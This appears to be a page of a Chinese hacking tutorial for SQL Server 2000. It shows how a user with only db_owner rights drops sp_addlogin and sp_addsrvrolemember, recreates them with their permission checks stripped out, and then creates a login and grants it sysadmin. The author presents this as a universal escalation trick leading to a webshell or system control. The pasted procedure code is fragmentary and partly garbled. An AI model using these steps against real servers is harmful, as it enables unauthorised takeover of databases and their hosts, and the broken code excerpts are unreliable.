在告诉大家之前,我们先做个实验
实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?
服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 ’xwq’ 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。
呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。好,我们先把sp_addlogin删拉drop procedure sp_addlogin
然后再来恢复sp_addlogin
这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码:
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
-- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
-- CANNOT CHANGE SA ROLES --
if @loginame = ’sa’
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN ’sysadmin’ THEN 16
WHEN ’securityadmin’ THEN 32
WHEN ’serveradmin’ THEN 64
WHEN ’setupadmin’ THEN 128
WHEN ’processadmin’ THEN 256
把这一段删除 --
VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或
者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程,利用我的万能提权必杀技,我们都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin权限能利用的,我们都可以让他们为我所用。
上一页 [1] [2] [3] 下一页